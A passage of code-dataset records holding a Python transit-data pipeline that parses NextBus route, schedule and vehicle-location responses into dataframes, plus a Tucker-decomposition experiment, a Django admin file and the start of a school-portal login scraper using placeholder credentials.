self._trim_stop_tags(df_direction_edges) \n df_direction_edges = df_direction_edges.astype(direction_edges_types)\n\n return df_direction_edges \n\n def _add_connections_to_transit_graph_table(self):\n \"\"\"Add all transit graph edges coming from connections.\n \"\"\"\n\n # Each connection gives a pair of directed edges in the transit graph.\n # We identify which ones come from such a connection.\n connections_df = self.db.get_connections_dataframe() \n connections_df[\"is_connection\"] = True\n\n # Some stop tags have additional endings (i.e. 1000 vs 1000_ar).\n # These stops are the same and the ending refers to the direction\n # the stop is on. We remove them when considering stops as nodes. \n connections_df.rename(\n columns={\"stop1\": \"stop_tag1\", \"stop2\": \"stop_tag2\"},\n inplace=True) \n connections_df = self._trim_stop_tags(connections_df) \n\n df = connections_df[[\"key\", \"stop_tag1\", \"stop_tag2\", \n \"node1\", \"node2\", \"is_connection\"]] \n self.db.insert_dataframe_in_table(\"transit_graph\", df) \n\n def _trim_stop_tags(self, df):\n \"\"\"Helper function. Used when assembling the transit graph from stops data.\n \n Stop tags sometimes have additional endings such as _IB, _OB, _ar, indicating\n whether the route direction considers the stop as inbound only, outbound only \n or arrival only. Since these depend endings have meaning only with respect to \n the direction, but the stop is otherwise the same (i.e. 1000 and 1000_IB are \n the same stop), we remove them when considering stops as nodes in our graph. \n \"\"\"\n\n df[\"node1\"] = df[\"stop_tag1\"].str.replace(\"_IB\",\"\").str.replace(\"_OB\",\"\").str.replace(\"_ar\",\"\")\n df[\"node2\"] = df[\"stop_tag2\"].str.replace(\"_IB\",\"\").str.replace(\"_OB\",\"\").str.replace(\"_ar\",\"\")\n\n return df \n\n def get_predicted_times_at_stops_df(self):\n\n trips_df = self._load_daily_trips_data()\n stops_df = self._load_stops_data()\n\n # We use a simple knn as regressor. \n knn = KNeighborsRegressor(n_neighbors=3, p=1, weights=\"distance\")\n\n df_list = [] \n groups = trips_df.groupby([\"vehicle_id\", \"direction_tag\", \"trip_number\"])\n for name, group_df in groups: \n\n vehicle_id, direction_tag, trip_number = name\n group_stops_df = stops_df[stops_df.direction_tag==direction_tag]\n\n try:\n # Fit knn to vehicle's location data during trip. \n X = group_df[[\"lat\", \"lon\"]] \n y = pd.to_numeric(group_df[\"read_time\"]) \n knn.fit(X, y) \n\n # Then predict time-of-visit at stops. \n times_df = group_stops_df[[\"lat\", \"lon\", \"stop_order\"]]\n\n X_new = group_stops_df[[\"lat\", \"lon\"]] \n times_df[\"read_time\"] = knn.predict(X_new) \n times_df[\"read_time\"] = pd.to_datetime(times_df[\"read_time\"])\n\n # Tag the trip. \n times_df[\"vehicle_id\"] = vehicle_id\n times_df[\"direction_tag\"] = direction_tag\n times_df[\"trip_number\"] = trip_number \n\n df_list.append(times_df) \n\n except ValueError: # this is from trips with n_sample < n_neighbors \n pass # these are not legitimate trips, so are ignored \n\n return pd.concat(df_list) if df_list else None\n\n def _load_daily_trips_data(self):\n \"\"\"Load daily vehicle locations data, prepared and segmented by trips.\"\"\"\n\n queries = get_queries_path() \n sql_file = f\"{queries}/preparation_for_time_prediction_at_stops.sql\"\n\n with self.db.connect() as conn: \n with open(sql_file) as stmt:\n df = pd.read_sql(stmt.read(), conn)\n \n return df\n\n def _load_stops_data(self):\n \"\"\"Load location and direction data for all stops.\"\"\"\n\n queries = get_queries_path() \n sql_file = f\"{queries}/get_all_stops_data.sql\"\n\n with self.db.connect() as conn: \n with open(sql_file) as stmt:\n df = pd.read_sql(stmt.read(), conn)\n\n return df\n\n\nclass ResponseParser:\n\n def __init__(self):\n pass\n\n def parse_route_list_response_into_df_dict(self, response_dict,\n agency_tag): \n \"\"\"Parse the json response data coming from the routeList NextBus \n API endpoint into a dataframe. By convention, the dataframe format \n matches the 'routes' table for insertion. \n\n The columns are: \n - tag (str)\n - title (str)\n - latmin (float)\n - latmax (float)\n - lonmin (float)\n - lonmax (float)\n - agency_tag (str)\n\n Moreover, the four latmin-lonmax columns returned are Null. \n Their values must be extracted from the 'routeConfig' endpoint.\n\n Returned dataframe is None if route data cannot be parsed. \n\n Args:\n response_dict (dict): json response data from routeList endpoint.\n agency_tag (str): shortname of the corresponding agency (e.g. 'ttc') \n\n Returns:\n df_dict: A single dataframe wrapped in a dict, with database \n table name as key. \n \"\"\"\n\n # We'll first construct a null dataframe df_routes of the correct \n # format and column types. We'll then extract the 'tag' & 'title' \n # values from the response json, then add the agency_tag passed \n # as an arg. \n df_routes = None \n routes_types = {\n \"tag\": \"str\", \n \"title\": \"str\",\n \"latmin\": \"float\",\n \"latmax\": \"float\",\n \"lonmin\": \"float\",\n \"lonmax\": \"float\",\n \"agency_tag\": \"str\" \n }\n\n # First check if we can extract a dataframe out of a response subdict. \n # This doubles as a first format validation. \n df_response = None \n try: \n routes = response_dict['route'] \n df_response = pd.DataFrame(routes, index=range(len(routes))) \n\n except:\n pass\n\n # Then build our dataframe from the response df, extracting values\n # and validating data types. \n if df_response is not None: \n\n num_rows = df_response.shape[0] \n df_routes = pd.DataFrame(columns=routes_types.keys(),\n index=range(num_rows)) \n\n\n with contextlib.suppress(KeyError): # tag\n df_routes[\"tag\"] = df_response[\"tag\"] \n\n with contextlib.suppress(KeyError): # title\n df_routes[\"title\"] = df_response[\"title\"] \n\n df_routes[\"agency_tag\"] = agency_tag \n\n # Data validation: test and convert types as per template.\n df_routes = df_routes.astype(routes_types) \n\n df_dict = {'routes': df_routes} \n return df_dict\n\n def parse_route_config_response_into_df_dict(self, response_dict,\n route_tag, agency_tag):\n \"\"\"Parse the json response data coming from the routeConfig NextBus \n API endpoint into a dataframe dict. By convention, each dataframe \n matches the format of its intended database table for insertion. \n The dict keys are the table names. \n\n Three dataframes are returned: df_routes, df_directions, df_stops.\n\n Column formats are as follows. \n\n df_routes:\n - tag (str) \n - title (str)\n - latmin (float)\n - latmax (float)\n - lonmin (float)\n - lonmax (float)\n - agency_tag (str)\n\n df_directions:\n - tag (str),\n - title (str),\n - name (str),\n - route_tag (str),\n - branch (str),\n - agency_tag (str)\n\n df_stops: \n - tag (str),\n - title (str),\n - lat (float),\n - lon (float),\n - route_tag (str),\n - direction_tag (str),\n - stop_along_direction (int),\n - key (str), \n - agency_tag (str) \n\n A returned dataframe is None if the corresponding data cannot be parsed. \n\n Args:\n response_dict (dict): json response data from routeConfig endpoint.\n route_tag (str): route number corresponding to config. \n agency_tag (str): shortname of the corresponding agency (e.g. 'ttc') \n\n Returns:\n df_dict: Three dataframes wrapped in a dict, with corresponding \n database table name as key. \n \"\"\"\n\n df_routes = self._get_df_routes_from_route_config_response(\n response_dict=response_dict,\n route_tag=route_tag,\n agency_tag=agency_tag\n )\n df_directions = self._get_df_directions_from_route_config_response(\n response_dict=response_dict,\n route_tag=route_tag,\n agency_tag=agency_tag\n )\n df_stops = self._get_df_stops_from_route_config_response(\n response_dict=response_dict,\n route_tag=route_tag,\n agency_tag=agency_tag\n )\n\n df_dict = {\n \"routes\": df_routes,\n \"directions\": df_directions,\n \"stops\": df_stops \n }\n return df_dict\n\n def _get_df_routes_from_route_config_response(self, response_dict, \n route_tag, agency_tag):\n \"\"\"Helper function to parse_route_config_response_into_df_dict.\n\n Args:\n response_dict (dict): json response data from routeConfig endpoint.\n route_tag (str): route number corresponding to config. \n agency_tag (str): shortname of the corresponding agency (e.g. 'ttc') \n\n Returns:\n df_routes: Dataframe with format matching the 'routes' table.\n \"\"\"\n\n # First, we construct null dataframes of the correct column format.\n # We'll then populate these from the response data, validating\n # and converting types. \n df_routes = None\n routes_types = {\n \"tag\": \"str\",\n \"title\": \"str\",\n \"latmin\": \"float\",\n \"latmax\": \"float\",\n \"lonmin\": \"float\",\n \"lonmax\": \"float\",\n \"agency_tag\": \"str\"\n }\n\n df_response = None\n try: \n route = response_dict['route'] \n\n keys = [\"title\", \"latMin\", \"latMax\", \"lonMin\", \"lonMax\"]\n route = {k: v for k,v in route.items() if k in keys} \n df_response = pd.DataFrame(route, index=[0]) \n\n except:\n pass\n\n if df_response is not None: \n\n # Init null df with the correct format. \n num_rows = df_response.shape[0]\n df_routes = pd.DataFrame(columns=routes_types.keys(),\n index=range(num_rows))\n\n # Build df_routes from the response df.\n df_routes[\"tag\"] = route_tag \n df_routes[\"agency_tag\"] = agency_tag\n \n with contextlib.suppress(KeyError): # title\n df_routes[\"title\"] = df_response[\"title\"] \n\n with contextlib.suppress(KeyError): # latmin\n df_routes[\"latmin\"] = df_response[\"latMin\"] \n\n with contextlib.suppress(KeyError): # latmax\n df_routes[\"latmax\"] = df_response[\"latMax\"] \n\n with contextlib.suppress(KeyError): # lonmin\n df_routes[\"lonmin\"] = df_response[\"lonMin\"] \n\n with contextlib.suppress(KeyError): # lonmax\n df_routes[\"lonmax\"] = df_response[\"lonMax\"] \n \n # Validate and convert data types. \n df_routes = df_routes.astype(routes_types) \n\n # Finally, reorder columns so they match the database order.\n col_order = list(routes_types.keys()) \n df_routes = df_routes[col_order] \n\n return df_routes \n\n def _get_df_directions_from_route_config_response(self, response_dict, \n route_tag, agency_tag):\n \"\"\"Helper function to parse_route_config_response_into_df_dict.\n\n Args:\n response_dict (dict): json response data from routeConfig endpoint.\n route_tag (str): route number corresponding to config. \n agency_tag (str): shortname of the corresponding agency (e.g. 'ttc') \n\n Returns:\n df_directions: Dataframe with format matching the 'directions' table.\n \"\"\"\n\n # First, we construct null dataframes of the correct column format.\n # We'll then populate these from the response data, validating\n # and converting types. \n df_directions = None\n directions_types = {\n \"tag\": \"str\",\n \"title\": \"str\",\n \"name\": \"str\",\n \"route_tag\": \"str\",\n \"branch\": \"str\",\n \"agency_tag\": \"str\"\n }\n\n df_response = None\n try:\n directions = response_dict['route']['direction'] # list of dicts\n\n # We filter each direction dict to the keys we need. \n keys = [\"tag\", \"title\", \"name\", \"branch\"] \n\n dct_map = map(\n lambda x: {k:v for k,v in x.items() if k in keys}, \n directions\n ) \n dct_list = list(dct_map)\n\n # Some keys can be missing from a dict (e.g. 'branch' for short directions).\n # We fill them out to null.\n for dct in dct_list: \n for key in keys:\n if key not in dct:\n dct[key] = None \n\n df_response = pd.DataFrame(dct_list) \n\n except:\n pass\n\n if df_response is not None: \n\n # Init null dataframe. \n num_rows = df_response.shape[0] \n df_directions = pd.DataFrame(columns=directions_types.keys(),\n index=range(num_rows)) \n\n # Extract values from response df.\n\n df_directions[\"route_tag\"] = route_tag # passed as arg\n df_directions[\"agency_tag\"] = agency_tag # passed as arg\n\n with contextlib.suppress(KeyError):\n df_directions[\"tag\"] = df_response[\"tag\"] \n\n with contextlib.suppress(KeyError):\n df_directions[\"title\"] = df_response[\"title\"] \n\n with contextlib.suppress(KeyError):\n df_directions[\"name\"] = df_response[\"name\"] \n\n with contextlib.suppress(KeyError):\n df_directions[\"branch\"] = df_response[\"branch\"] \n\n\n # Validate and convert data types. \n df_directions = df_directions.astype(directions_types)\n\n # Finally, reorder columns so they match the database order.\n col_order = list(directions_types.keys()) \n df_directions = df_directions[col_order] \n\n return df_directions \n\n def _get_df_stops_from_route_config_response(self, response_dict, \n route_tag, agency_tag):\n \"\"\"Helper function to parse_route_config_response_into_df_dict.\n\n Args:\n response_dict (dict): json response data from routeConfig endpoint.\n route_tag (str): route number corresponding to config. \n agency_tag (str): shortname of the corresponding agency (e.g. 'ttc') \n\n Returns:\n df_stops: Dataframe with format matching the 'stops' table.\n \"\"\"\n\n # We construct null dataframes of the correct column format. \n # We'll then populate these from the response data, validating\n # and converting types. \n df_stops = None \n stops_types = {\n \"tag\": \"str\",\n \"title\": \"str\",\n \"lat\": \"float\",\n \"lon\": \"float\",\n \"route_tag\": \"str\",\n \"direction_tag\": \"str\",\n \"stop_along_direction\": \"int\",\n \"key\": \"str\", \n \"agency_tag\": \"str\"\n }\n\n # First, extract the stops data from the stop key, without direction tag.\n # Then, join the direction tag from the direction key to each stop. \n # This last thing will let us record the order of each stop on a direction. \n df_response = None \n try: # extract stop data, without direction_tag\n stops = response_dict['route']['stop'] # list of dicts\n\n keys = [\"tag\", \"title\", \"lat\", \"lon\"] \n dct_map = map(\n lambda x: {k: v for k,v in x.items() if k in keys},\n stops\n )\n dct_list = list(dct_map) \n\n df_response = pd.DataFrame(dct_list) \n\n except:\n pass\n\n try: # extract all (stop_tag, direction_tag) pairs and stop order number\n directions = response_dict['route']['direction'] # list of dicts \n\n df_list = [] \n for direction in directions:\n stops_data = direction['stop'] # list of dicts \n direction_tag = direction['tag'] # single tag\n\n for stop_number, dct in enumerate(stops_data):\n dct[\"direction_tag\"] = direction_tag \n dct[\"stop_along_direction\"] = stop_number + 1 # start at 1\n\n df_list.append(pd.DataFrame(stops_data))\n\n df_tag_pairs = pd.concat(df_list) \n\n # Test that at least some stops in our df_response have an \n # accompanying direction tag. Otherwise we should return\n # a null dataframe, since this means an endpoint or parsing issue. \n if df_response is not None:\n stops_list1 = df_response[\"tag\"].unique()\n stops_list2 = df_tag_pairs[\"tag\"].unique()\n\n assert(any( [tag in stops_list1 for tag in stops_list2] ))\n\n except: # if no stop can be matched to a direction, null df_response \n df_response = None \n\n if df_response is not None: \n\n # Init null df.\n num_rows = df_response.shape[0] \n df_stops = pd.DataFrame(data=None, index=range(num_rows))\n\n for column in [\"tag\", \"title\", \"lat\", \"lon\"]: \n df_stops[column] = None\n\n # Extraction values from response. \n df_stops[\"route_tag\"] = route_tag # passed from arg\n df_stops[\"agency_tag\"] = agency_tag # passed from arg\n\n with contextlib.suppress(KeyError): # tag\n df_stops[\"tag\"] = df_response[\"tag\"]\n\n with contextlib.suppress(KeyError): # title\n df_stops[\"title\"] = df_response[\"title\"]\n\n with contextlib.suppress(KeyError): # lat\n df_stops[\"lat\"] = df_response[\"lat\"]\n\n with contextlib.suppress(KeyError): # lon\n df_stops[\"lon\"] = df_response[\"lon\"] \n\n # Left join direction_tag to each stop. \n df_stops = pd.merge(df_stops, df_tag_pairs, how=\"left\",\n left_on=\"tag\",\n right_on=\"tag\",\n ) \n\n # Add primary key: concatenation of stop_tag and direction_tag\n df_stops[\"key\"] = df_stops[\"tag\"]+\"_\"+df_stops[\"direction_tag\"]\n\n # Validate and convert data types. \n df_stops = df_stops.astype(stops_types) \n\n # Finally, order columns as in the database. \n col_order = list(stops_types.keys())\n df_stops = df_stops[col_order] \n\n return df_stops\n\n def parse_schedule_response_into_df_dict(self, response_dict, \n route_tag, agency_tag,\n time_of_extraction):\n \"\"\"Parse the json response data coming from the schedule NextBus \n API endpoint into a dataframe. By convention, the dataframe format \n matches the 'schedules' table for insertion. \n\n The columns are: \n - schedule_class (str),\n - service_class (str),\n - route_tag (str),\n - route_title (str),\n - direction_name (str),\n - block_id (str),\n - stop_tag (str),\n - epoch_time (int),\n - ETA (str),\n - agency_tag (str),\n - key (str),\n - last_extracted (datetime64[ns]) \n\n Args:\n response_dict (dict): json response data from schedule endpoint.\n route_tag (str): route number corresponding to schedule. \n agency_tag (str): shortname of the corresponding agency (e.g. 'ttc') \n\n Returns: \n df_dict: A single dataframe wrapped in a dict, with database \n table name as key. \n \"\"\"\n \n # We construct a null dataframe of the correct format and types.\n # We'll then extract the values out of the schedule response,\n # validating and converting types as we go. \n df_schedules = None\n schedules_types = {\n \"schedule_class\": \"str\",\n \"service_class\": \"str\",\n \"route_tag\": \"str\",\n \"route_title\": \"str\",\n \"direction_name\": \"str\",\n \"block_id\": \"str\",\n \"stop_tag\": \"str\",\n \"epoch_time\": \"int\",\n \"ETA\": \"str\",\n \"agency_tag\": \"str\",\n \"key\": \"str\",\n \"last_extracted\": \"datetime64[ns]\"\n } \n\n # First, we try extracting something formated as a dataframe.\n # This provides a first format validation. \n df_response = None \n try:\n # The schedules response has the following structure:\n #\n # a. The route key contains a list of schedules;\n # b. Each schedule contains\n # - constant data for the schedule (serviceClass, \n # serviceClass, route title, direction name); \n # - a list of timetable data, with multiple block ids;\n # c. Each block id contains a table of stop tags, epoch times\n # and ETAs. \n #\n # We will work upward from the bottom-most nested subdict:\n # \n # 1. For each block_id in a schedule, extract the timetable;\n # 2. Concatenate all block_ids in a schedule;\n # 3. Join constant data to the schedule (serviceClass, and so on);\n # 4. Concatenate all schedules; \n #\n # TODO: Rewrite this block of code (flagged by profiler).\n\n schedules = response_dict['route'] \n \n schedule_class_df_list = [] \n for schedule_class in schedules: # service classes (e.g. holidays, sun, sat)\n\n block_id_df_list = []\n blocks = schedule_class[\"tr\"] # block: ~bus run\n for block in blocks:\n block_id = block[\"blockID\"]\n block_stops = block[\"stop\"] # list of dicts \n\n block_id_df = pd.DataFrame(block_stops) # timetable\n block_id_df[\"block_id\"] = block_id # stamp it\n\n block_id_df_list.append(block_id_df) \n\n schedule_df = pd.concat(block_id_df_list) # schedule for given class\n\n schedule_df[\"schedule_class\"] = schedule_class[\"scheduleClass\"] \n schedule_df[\"service_class\"] = schedule_class[\"serviceClass\"] \n schedule_df[\"route_title\"] = schedule_class[\"title\"] \n schedule_df[\"direction_name\"] = schedule_class[\"direction\"] \n\n schedule_class_df_list.append(schedule_df) \n\n\n df_response = pd.concat(schedule_class_df_list) # all schedules for route \n df_response.reset_index(drop=True, inplace=True) # for access issues \n\n except:\n pass\n\n # Then assemble our dataframe from the response df,\n # validating and converting types. \n if df_response is not None:\n\n # Init null df.\n num_rows = df_response.shape[0] \n df_schedules = pd.DataFrame(columns=schedules_types.keys(),\n index=range(num_rows))\n\n # Extract values. \n df_schedules[\"route_tag\"] = route_tag # passed as arg\n df_schedules[\"agency_tag\"] = agency_tag # passed as arg\n df_schedules[\"last_extracted\"] = time_of_extraction # passed as arg \n\n with contextlib.suppress(KeyError): # schedule_class\n df_schedules[\"schedule_class\"] = df_response[\"schedule_class\"]\n\n with contextlib.suppress(KeyError): # service_class\n df_schedules[\"service_class\"] = df_response[\"service_class\"]\n\n with contextlib.suppress(KeyError): # route_title\n df_schedules[\"route_title\"] = df_response[\"route_title\"] \n\n with contextlib.suppress(KeyError): # direction_name\n df_schedules[\"direction_name\"] = df_response[\"direction_name\"] \n\n with contextlib.suppress(KeyError): # block_id\n df_schedules[\"block_id\"] = df_response[\"block_id\"]\n\n with contextlib.suppress(KeyError): # stop_tag\n df_schedules[\"stop_tag\"] = df_response[\"tag\"] \n\n with contextlib.suppress(KeyError): # epoch_time\n df_schedules[\"epoch_time\"] = df_response[\"epochTime\"] \n\n with contextlib.suppress(KeyError): # ETA\n df_schedules[\"ETA\"] = df_response[\"content\"] \n\n # Add primary key. We'll concatenate the pandas index to the route tag.\n df_schedules.reset_index(drop=True, inplace=True)\n df_schedules[\"key\"] = str(route_tag) + \"_\" \n df_schedules[\"key\"] += df_schedules[\"schedule_class\"] + \"_\"\n\n # We leftpad the index digits by zeros up to above their max length.\n pad_width = 8 # typical indices run up to 5, we're being generous here\n\n df_schedules[\"key\"] += df_schedules.index.astype(\"str\").str.pad( \n width=pad_width,\n fillchar='0'\n )\n\n # Validate and convert data types. \n df_schedules = df_schedules.astype(schedules_types) \n\n # Finally, order columns as in the database. \n col_order = list(schedules_types.keys()) \n df_schedules = df_schedules[col_order]\n\n df_dict = {\"schedules\": df_schedules}\n return df_dict\n\n def parse_vehicle_locations_response_into_df_dict(self, response_dict, \n agency_tag, time_of_extraction):\n \"\"\"Parse the json response data coming from following NextBus API \n endpoint into a dataframe:\n - vehicleLocations \n - vehicleLocation\n\n By convention, the dataframe format matches the 'vehicle_locations' \n table for insertion. \n\n The columns are: \n - route_tag (str),\n - predictable (bool),\n - heading (int),\n - speed_kmhr (int),\n - lat (float),\n - lon (float),\n - id (str),\n - direction_tag (str),\n - agency_tag (str),\n - read_time (datetime64[ns]),\n - key (str) \n\n Args:\n response_dict (dict): json response data from vehicleLocation(s) endpoint.\n agency_tag (str): shortname of the corresponding agency (e.g. 'ttc') \n\n Returns: \n df_dict: A single dataframe wrapped in a dict, with database \n table name as key. \n \"\"\"\n # First, each vehicle log has a \"secsSinceReport\" attribute. We use this\n # to filter out old readings (>30 min ago), and only query active vehicles.\n # We do this for the single vehicle endpoint only.\n try:\n vehicle = response_dict[\"vehicle\"]\n if type(vehicle) is dict:\n secs_since_report = int(vehicle[\"secsSinceReport\"])\n if secs_since_report >= 1800:\n return {\"vehicle_locations\": None}\n except:\n pass\n\n # We also use the \"secsSinceReport\" attribute to pinpoint vehicle log time,\n # by substracting it from current time.\n now = time_of_extraction\n\n # We construct a null dataframe of the correct format and types.\n # We'll then extract the values out of the schedule response,\n # validating and converting types as we go. \n df_vehicle_locations = None\n vehicle_locations_types = {\n \"route_tag\": \"str\",\n \"predictable\": \"bool\",\n \"heading\": \"int\",\n \"speed_kmhr\": \"int\",\n \"lat\": \"float\",\n \"lon\": \"float\",\n \"id\": \"str\",\n \"direction_tag\": \"str\",\n \"agency_tag\": \"str\", \n \"read_time\": \"datetime64[ns]\",\n \"key\": \"str\"\n } \n\n # First check if we can extract a dataframe out of a response subdict. \n # This doubles as a first format validation. \n df_response = None\n try:\n vehicle = response_dict[\"vehicle\"] \n\n # The expected format of vehicle depends on the endpoint:\n # vehicleLocation: dict\n # vehicleLocations: list of dicts\n if type(vehicle) is dict:\n df_response = pd.DataFrame(vehicle, index=[0]) \n elif type(vehicle) is list:\n df_response = pd.DataFrame(vehicle) \n\n except:\n pass\n\n if df_response is not None:\n\n num_rows = df_response.shape[0]\n df_vehicle_locations = pd.DataFrame(columns=vehicle_locations_types.keys(), \n index=range(num_rows))\n\n for column in vehicle_locations_types.keys():\n df_vehicle_locations[column] = None\n\n df_vehicle_locations[\"agency_tag\"] = agency_tag # passed as arg\n\n with contextlib.suppress(KeyError): # route_tag \n df_vehicle_locations[\"route_tag\"] = df_response[\"routeTag\"]\n\n with contextlib.suppress(KeyError): # predictable\n df_vehicle_locations[\"predictable\"] = df_response[\"predictable\"]\n \n with contextlib.suppress(KeyError): # heading\n df_vehicle_locations[\"heading\"] = df_response[\"heading\"]\n\n with contextlib.suppress(KeyError): # speed_kmhr \n df_vehicle_locations[\"speed_kmhr\"] = df_response[\"speedKmHr\"]\n\n with contextlib.suppress(KeyError): # lat\n df_vehicle_locations[\"lat\"] = df_response[\"lat\"]\n\n with contextlib.suppress(KeyError): # lon\n df_vehicle_locations[\"lon\"] = df_response[\"lon\"] \n\n with contextlib.suppress(KeyError): # id\n df_vehicle_locations[\"id\"] = df_response[\"id\"] \n\n with contextlib.suppress(KeyError): # direction_tag\n df_vehicle_locations[\"direction_tag\"] = df_response[\"dirTag\"] \n\n # Calculate the time at which vehicle sensor read was taken.\n with contextlib.suppress(KeyError): # read_time\n secs_since_report = pd.to_timedelta(df_response[\"secsSinceReport\"].values.astype(\"int\"),\n unit=\"seconds\")\n #secs_since_report = df_response[\"secsSinceReport\"].astype(\"int\").apply(\n # lambda x: datetime.timedelta(seconds=x)\n # )\n df_vehicle_locations[\"read_time\"] = now - secs_since_report\n\n # Primary key is the concatenation of vehicle id and read_time.\n # To avoid duplicates, we round read_time to the nearest 1/6th min; this is so\n # vehicles reporting the same data in subsequent queries (i.e. where secsSinceReport\n # has increased by 5 minutes when queried 5 minutes later) are only given\n # a single primary key. \n if df_vehicle_locations[\"read_time\"] is not None:\n vehicle_id = df_vehicle_locations[\"id\"] \n read_time = df_vehicle_locations[\"read_time\"].apply(str).str.slice(stop=-10)\n #read_time = read_time.apply(lambda x: \"\".join([x[:-8], \"0\"])) \n #read_time = read_time.apply(lambda x: x[:-10]) \n df_vehicle_locations[\"key\"] = vehicle_id + \"_\" + read_time \n\n # Type validation.\n df_vehicle_locations = df_vehicle_locations.astype(vehicle_locations_types)\n\n # We order columns as in the database.\n col_order = list(vehicle_locations_types.keys())\n df_vehicle_locations = df_vehicle_locations[col_order] \n\n df_dict = {\"vehicle_locations\": df_vehicle_locations} \n return df_dict \n","repo_name":"vgelinas/route-optimization-with-open-data","sub_path":"data_pipeline/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":53487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"20071917410","text":"####もとの行列を(81, 243)として、tucker分解####\n#ただし残す特異値は1:3\n\n\n\nimport numpy as np\nfrom scipy import linalg\nimport matplotlib.pyplot as plt\nimport main\n\n\nget_np = np.load('../svd/three_eyes.npy') \n\n\n#もとの評価値の配列(81, 243)をtucker分解する \ndef tucker(X, r):\n\tX = X.reshape(81, 243)\n\tu, _, v = linalg.svd(X)\n\t#左側 \n\tU = u[:, :r] #u\n\tUt = np.transpose(U) #uダガー \n\t#右側 \n\tr2 = 3 * r \n\tVt = v[:r2, :] #vダガー\n\tV = np.transpose(Vt) #v\n\t#コアテンソル\n\tC = Ut @ X @ V \n\t#復元 \n\tY = U @ C @ Vt \n\t#圧縮率\n\trate = (U.size + C.size + Vt.size) / X.size\n\t#フロべニウスノルムの相対誤差\n\tnorm = np.sqrt(np.sum(X * X))\n\tnorm1 = np.sqrt(np.sum((X-Y) * (X-Y)))\n\tfrob = norm1 / norm\n\treturn [Y.reshape(3,3,3,3,3,3,3,3,3), rate, frob]\n\n#tucker(get_np, 81)\n\n\n\n#戦績、フロベニウスノルムの相対誤差と圧縮率のグラフをプロット\ndef make_plot(): \n x = []\n #battle#\n y1 = [] #originalが勝つ割合\n y2 = [] #svdが勝つ割合\n y3 = [] #引き分けの割合\n #frobenius#\n y4 = []\n X = get_np.reshape(81, 243) \n norm = np.sqrt(np.sum(X * X)) \n for i in range(0, 28):\n #battle#\n y1.append(main.battle(get_np, tucker(get_np, i)[0])[0])\n y2.append(main.battle(get_np, tucker(get_np, i)[0])[1])\n y3.append(main.battle(get_np, tucker(get_np, i)[0])[2])\n #frobenius#\n Y = tucker(get_np, i)[0].reshape(81, 243)\n rate = tucker(get_np, i)[1]\n norm1 = np.sqrt(np.sum((X-Y) * (X-Y))) \n x.append(rate)\n y4.append(norm1 / norm)\n #battle#\n plt.xlabel(\"compression ratio\")\n plt.plot(x, y1, color = 'red')\n plt.plot(x, y2, color = 'blue')\n plt.plot(x, y3, color = 'green')\n #frobenius#\n plt.plot(x, y4, color = 'black')\n\n plt.show()\n\n#make_plot()\n\n\n#5回分の平均と標準偏差を算出しdatファイルを作成\ndef save_file():\n\twith open(\"task1.dat\", \"w\") as f:\n\t\tfor i in range(0, 81):\n\t\t\t#圧縮率\n\t\t\tx = tucker(get_np, i)[1] \n\t\t\t#battle \n\t\t\ty1 = []\n\t\t\ty2 = []\n\t\t\ty3 = []\n\t\t\tfor _ in range(5):\n\t\t\t\ty1.append(main.battle(get_np, tucker(get_np, i)[0])[0]) #originalが勝つ割合\n\t\t\t\ty2.append(main.battle(get_np, tucker(get_np, i)[0])[1]) #svdが勝つ割合 \n\t\t\t\ty3.append(main.battle(get_np, tucker(get_np, i)[0])[2]) #引き分けの割合\n\t\t\ty1_m = np.mean(y1)\n\t\t\ty2_m = np.mean(y2)\n\t\t\ty3_m = np.mean(y3)\n\t\t\ty1_std = np.std(y1)\n\t\t\ty2_std = np.std(y2)\n\t\t\ty3_std = np.std(y3)\n\t\t\t#frobenius\n\t\t\ty4 = tucker(get_np, i)[2] \n\t\t\tf.write(\"{} {} {} {} {} {} {} {}\\n\".format(x, y1_m, y2_m, y3_m, y4, y1_std, y2_std, y3_std))\n\n\nsave_file()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Fujita388/HOSVD","sub_path":"task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"4568395717","text":"from django.contrib import admin\n\nfrom .models import Purchase, Reload\n\n\n@admin.register(Purchase)\nclass PurchaseAdmin(admin.ModelAdmin):\n list_display = (\"buyer\", \"seller\", \"article\", \"price\", \"date\")\n list_filter = (\"article\", \"date\")\n search_fields = (\"buyer__username\", \"buyer__nickname\", \"article__name\")\n\n\n@admin.register(Reload)\nclass ReloadAdmin(admin.ModelAdmin):\n list_display = (\"buyer\", \"amount\", \"date\")\n list_filter = (\"date\",)\n search_fields = (\"buyer__username\", \"buyer__nickname\")\n","repo_name":"imperosol/buckutt-api","sub_path":"transaction/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"16800460326","text":"# pip install -U requests\n# pip3 install -U beautifulsoup4\n\nimport datetime # 날짜 관련 라이브러리\n\nimport requests # 웹 접속 관련 라이브러리\nfrom bs4 import BeautifulSoup as bs # parsing library\n\n# 로그인이 필요한 사이트 파싱을 위한 정보 저장\nLOGIN_INFO = {\n 'id': '아이디 입력',\n 'passwd': '암호 입력'\n}\n\n# 로그인을 유지하는건 session 이라는 기술 | 이를 활용하기 위해서 with 를 사용한다.\nwith requests.Session() as s:\n # 로그인 페이지를 가져와서 html 로 만들어 파싱을 시도한다.\n first_page = s.get('https://go.sasa.hs.kr')\n html = first_page.text\n soup = bs(html, 'html.parser')\n\n # cross-site request forgery 방지용 input value 를 가져온다.\n # https://ko.wikipedia.org/wiki/사이트_간_요청_위조\n csrf = soup.find('input', {'name': 'csrf_test_name'})\n\n # 두개의 dictionary 를 합친다.\n LOGIN_INFO.update({'csrf_test_name': csrf['value']})\n\n # 만들어진 로그인 데이터를 이용해서, 로그인을 시도한다.\n login_req = s.post('https://go.sasa.hs.kr/auth/login/', data=LOGIN_INFO)\n\n # 로그인이 성공적으로 이루어졌는지 확인한다.\n if login_req.status_code != 200:\n raise Exception('로그인 되지 않았습니다!')\n\n # 음악을 올린 시간\n section_board_list_data = bs(\n s.get('https://go.sasa.hs.kr/RcmndMusic/musicView').text, 'html.parser')\n notice_board_data = bs(\n s.get('https://go.sasa.hs.kr/RcmndMusic/musicView').text, 'html.parser')\n\n # 이름 추출\n notice_board_title = notice_board_data.find('td').getText()\n\n # 한 줄을 